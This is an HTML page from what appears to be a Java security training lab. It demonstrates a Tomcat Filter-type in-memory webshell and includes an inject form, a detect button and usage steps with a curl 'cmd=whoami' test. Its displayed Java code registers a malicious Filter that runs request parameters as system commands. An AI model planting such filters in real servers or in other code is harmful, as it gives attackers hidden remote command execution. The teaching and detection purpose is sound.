<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div th:replace="~{common/common::head}"></div>

<body>
<div class="layuimini-container">
    <div class="layuimini-main">
        <blockquote class="layui-elem-quote" style="background-color: #f8f8f8;">
            <span style="color: #000000;">Filter型内存马是一种通过动态注册Filter到Web容器中实现的内存马。它可以拦截所有匹配URL模式的HTTP请求，执行恶意代码。在Tomcat中，通过获取StandardContext对象，创建并注册恶意Filter，从而实现对特定URL请求的拦截。</span>
        </blockquote>

        <div class="layui-row layui-col-space15">
            <div class="layui-col-md6">
                <!-- 漏洞场景 -->
                <div class="layui-card">
                    <div class="layui-card-header"><i class="fa fa-bug icon-tip"></i>漏洞场景</div>
                    <div class="layui-card-body">
                        <div class="layui-form" lay-filter="filterForm">
                            <div class="layui-form-item">
                                <label class="layui-form-label">过滤器名称</label>
                                <div class="layui-input-block">
                                    <input type="text" name="filterName" value="evilFilter" lay-verify="required" placeholder="请输入过滤器名称" class="layui-input">
                                </div>
                            </div>
                            <div class="layui-form-item">
                                <label class="layui-form-label">URL Pattern</label>
                                <div class="layui-input-block">
                                    <input type="text" name="urlPattern" value="/*" lay-verify="required" placeholder="请输入URL Pattern" class="layui-input">
                                </div>
                            </div>
                            <div class="layui-form-item">
                                <label class="layui-form-label">命令参数</label>
                                <div class="layui-input-block">
                                    <input type="text" name="cmdParam" value="cmd" lay-verify="required" placeholder="请输入命令参数名" class="layui-input">
                                </div>
                            </div>
                            <div class="layui-form-item">
                                <div class="layui-input-block" style="text-align: right;">
                                    <button class="layui-btn layui-btn-normal" lay-submit lay-filter="filterSubmit">
                                        <i class="layui-icon layui-icon-release"></i>注入内存马
                                    </button>
                                    <button type="button" class="layui-btn layui-btn-primary" id="detectBtn">
                                        <i class="layui-icon layui-icon-search"></i>检测内存马
                                    </button>
                                </div>
                            </div>
                        </div>
                        <pre id="detectResult" class="layui-code" style="margin-top: 10px;"></pre>
                    </div>
                </div>

                <!-- 使用说明 -->
                <div class="layui-card" style="margin-top: 10px;">
                    <div class="layui-card-header"><i class="fa fa-bullhorn icon-tip"></i>使用说明</div>
                    <div class="layui-card-body layui-text">
                        <pre style="color: #28333e;font-size: 15px;">
这里通过动态注册Filter来实现内存马注入（不代表漏洞可以被利用）。具体利用：
1. 设置过滤器名称、URL Pattern和命令参数
2. 点击"注入内存马"按钮进行注入
3. 使用以下命令测试：
   curl "http://localhost:8080/any/path?cmd=whoami"
4. 点击"检测内存马"查看已注入的过滤器</pre>
                    </div>
                </div>
            </div>

            <!-- 右侧代码区域 -->
            <div class="layui-col-md6">
                <div class="layui-card">
                    <div class="layui-card-header"><i class="fa fa-code icon-tip"></i>缺陷代码</div>
                    <div class="layui-card-body">
                        <pre class="layui-code" lay-title="Java" lay-skin="notepad">
@PostMapping("/inject")
@ResponseBody
public R inject(@RequestParam String filterName,
                @RequestParam String urlPattern,
                @RequestParam String cmdParam) {
    try {
        Context context = getContext();
        // 创建恶意Filter
        Filter evilFilter = new Filter() {
            @Override
            public void doFilter(ServletRequest request, 
                    ServletResponse response, 
                    FilterChain chain) 
                    throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) request;
                String cmd = req.getParameter(cmdParam);
                if (cmd != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    // 处理命令输出...
                    return;
                }
                chain.doFilter(request, response);
            }
        };

        // 创建FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilter(evilFilter);

        // 创建FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern(urlPattern);

        // 注册Filter
        StandardContext standardContext = (StandardContext) context;
        standardContext.addFilterDef(filterDef);
        standardContext.addFilterMap(filterMap);
        
        return R.ok("内存马注入成功");
    } catch (Exception e) {
        return R.error("注入失败：" + e.getMessage());
    }
}</pre>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
layui.use(['form', 'layer', 'code'], function(){
    var form = layui.form;
    var layer = layui.layer;
    var $ = layui.jquery;
    
    // 渲染代码高亮
    layui.code({
        about: false
    });
    
    // 表单提交
    form.on('submit(filterSubmit)', function(data){
        var loadingIndex = layer.load(1, {
            shade: [0.1,'#fff']
        });
        
        $.ajax({
            url: '/mshell/filter/inject',
            type: 'POST',
            data: data.field,
            success: function(res){
                layer.close(loadingIndex);
                if(res.code === 0){
                    layer.msg('注入成功', {icon: 1});
                } else {
                    layer.msg('注入失败：' + res.msg, {icon: 2});
                }
            },
            error: function(){
                layer.close(loadingIndex);
                layer.msg('请求失败', {icon: 2});
            }
        });
        return false;
    });

    // 检测按钮点击事件
    $('#detectBtn').on('click', function(){
        var loadingIndex = layer.load(1, {
            shade: [0.1,'#fff']
        });
        
        $.ajax({
            url: '/mshell/filter/detect',
            type: 'GET',
            success: function(res){
                layer.close(loadingIndex);
                if(res.code === 0){
                    $('#detectResult').html(res.data.replace(/\n/g, '<br>'));
                    layui.code();
                } else {
                    layer.msg('检测失败：' + res.msg, {icon: 2});
                }
            },
            error: function(){
                layer.close(loadingIndex);
                layer.msg('请求失败', {icon: 2});
            }
        });
    });
});
</script>
</body>
</html>
